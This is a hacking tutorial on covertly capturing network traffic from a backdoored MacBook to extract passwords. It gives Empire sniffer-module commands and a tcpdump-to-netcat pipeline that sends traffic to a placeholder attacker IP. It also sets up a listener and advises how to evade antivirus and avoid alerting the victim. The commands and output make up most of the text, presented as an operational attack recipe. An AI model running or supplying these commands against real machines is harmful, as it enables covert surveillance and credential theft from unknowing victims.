How to Sniff Passwords on a Mac in Real Time, Part 1 (Packet Exfiltration)

By **tokyoneon** 07/21/2018 2:52 am

With the rise of website encryption (TLS), sniffing passwords from network activity has become difficult. However, it's still possible to quietly exfiltrate a target's network traffic in real time to extract passwords and sensitive information. Pertaining to macOS, there are two methods for retrieving traffic from a backdoored Mac.

The first method requires Empire, a post-exploitation framework. Empire can be embedded into a MacBook using a USB Rubber Ducky, during single-user mode attacks or by social engineering the target into running a malicious command. The Empire **sniffer** module makes capturing and exfiltrating traffic easy.

- **Don't Miss: How to Install a Persistent Empire Backdoor on a MacBook**

Method two doesn't require any post-exploitation frameworks and is much more discreet. This technique may be more desirable for users trying to evade antivirus (AV) detection as some Empire modules are flagged as malicious. From a primitive Netcat backdoor, it's possible to use Tcpdump (which comes preinstalled on macOS) to capture network traffic and exfiltrate the data using a Netcat tunnel. This technique would be deemed "living off the land," and may be preferred by readers trying to remain completely undetected on the device.

Option 1 Use the Empire Sniffer Module

After establishing an Empire backdoor and creating a listener to receive connections from the compromised MacBook, enter the **usemodule** command to enable the **sniffer** module.

```
(Empire: V9DGUVIL) > usemodule collection/osx/sniffer*
```

Use the **options** command to view the available settings.

```
(Empire: python/collection/osx/sniffer) > options

        Name: PcapSniffer
      Module: python/collection/osx/sniffer
  NeedsAdmin: True
```

```
        OpsecSafe: False
         Language: python
MinLanguageVersion: 2.6
       Background: False
  OutputExtension: pcap

Authors:
  Alex Rymdeko-Harvey
  @Killswitch-GUI

Description:
  This module will do a full network stack capture.

Comments:
  Using libpcap.dylib we can perform full pcap on a remote
  host.

Options:

  Name            Required    Value                   Description
  ----            --------    -------                 -----------
  PcapDylib       True        /usr/lib/libpcap.A.dylib  Path of the Pcap Dylib (Defualt)
  Agent           True        V9DGUVIL                Agent to run from.
  MaxPackets      True        100                     Set max packets to capture.
  SavePath        True        /tmp/debug.pcap         Path of the  file to save
  CaptureInterface False                              Set interface name ie. en0 (Auto resolve
                                                    by default)
  Debug           True        False                   Enable to get verbose message status
                                                    (Dont enable OutputExtension for this).
  LibcDylib       True        /usr/lib/libSystem.B.dyl  Path of the std C Dylib (Defualt)
```

The **MaxPackets** option determines when the packet sniffer should be terminated. By default, it's set to 100 packets, which is quite low. A value much higher, like 1,000 or 10,000 may be more desirable for most scenarios. Change the MaxPackets value using the below **set** command.

```
(Empire: python/collection/osx/sniffer) > set MaxPackets 1000
```

Empire will capture packets and save them on the macOS device to a file named "debug.pcap" in the /tmp/ directory. To change the directory, use the below command. Keep in mind, creating files on the compromised device may be dangerous for reasons I'll explain later in Option 2.

```
(Empire: python/collection/osx/sniffer) > set SavePath /path/to/new/directory/outputFilename.pcap
```

Finally, **execute** to begin sniffing traffic on the backdoored macOS device.

```
(Empire: python/collection/osx/sniffer) > execute
[>] Module is not opsec safe, run? [y/N] y
[*] Tasked V9DGUVIL to run TASK_CMD_WAIT_SAVE
[*] Agent V9DGUVIL tasked with task ID 9
[*] Tasked agent V9DGUVIL to run module python/collection/osx/sniffer
(Empire: python/collection/osx/sniffer) >
```

After a few seconds, Empire will automatically exfiltrate the PCAP (packet capture) to your Kali system and report a new PCAP file containing the sniffed traffic was saved to your Empire directory.

```
[*] Compressed size of tokyoneons-MacBook-Air.local.pcap download: 294 KB
[*] Final size of tokyoneons-MacBook-Air.local.pcap wrote: 381 KB
[+] File sniffer/tokyoneons-MacBook-Air.local.pcap from V9DGUVIL saved
[*] Agent V9DGUVIL returned results.
Output saved to ./downloads/V9DGUVIL/sniffer/tokyoneons-MacBook-Air.local.pcap
[*] Valid results returned by 192.168.0.133
```

Navigate to the /path/to/Empire/downloads/<TARGET>/sniffer/ directory to find the PCAP if Empire is running locally. Alternatively, if Empire is running on a VPS, its directories can be synced to a local machine using Syncthing, a secure file-sharing software.

- **Don't Miss: The White Hat's Guide to Choosing a Virtual Private Server**

Option 2 Use Tcpdump to Sniff Traffic

As I mentioned earlier, Tcpdump, a command-line network traffic analyzer, comes preinstalled in macOS devices. Unlike Empire, Tcpdump will be configured to immediately send (exfiltrate) the data to the attacker's machine. Using this method, the attacker will not need to create (suspicious) PCAP files in any location on the target device. Creating files on the compromised device can be dangerous and alert the victim to our presence.

Before we can capture and exfiltrate sniffed traffic from the macOS device, we'll need to set up a listening service to receive the incoming data. To do this, we'll use Netcat in Kali.

- **Don't Miss: How to Use Netcat, the Swiss Army Knife of Hacking Tools**

```
nc -l -p 7777 | tee /tmp/sniffed_output.pcapng
```

```
tcpdump: listening on wlan0, link-type AAAAAA (Ethernet), capture size 262144 bytes
```

Netcat will listen (**-l**) for incoming connections on port (**-p**) **7777**. The port number here is arbitrary and can be anything you want. Netcat will then pipe (**|**) the packets into **tee**, which will write the data to a local file on the attacker's system.

Now, from a backdoor, use the following command to capture traffic and send it to the attacker's Netcat listener.

```
/usr/sbin/tcpdump -w - | nc ATTACKER-IP-HERE 7777

tcpdump: data link type PKTAP
tcpdump: listening on pktap, link-type PKTAP (Apple DLT_PKTAP), capture size 262144 bytes
Got 665
```

Both Netcat terminals must remain open to continue capturing, sending, and receiving data. The **-w** in this command is required for Tcpdump to output data in a pipable format and effectively send the data through the Netcat tunnel. Other Tcpdump arguments and filters can be used before sending data through the pipe, but the **-w** must always be present.

The "Got 665" in the above terminal indicates how many packets were sent to the attacker's system. This number will increase as the victim continues to use the internet.

To stop the packet exfiltration (without losing the Netcat backdoor), press *Ctrl-C* in the attacker's Netcat terminal. The captured data can be analyzed for sensitive information using the **Tshark** and **Wireshark**, which I'll show how using in my next article. And that's it for capturing and exfiltrating network activity from macOS devices.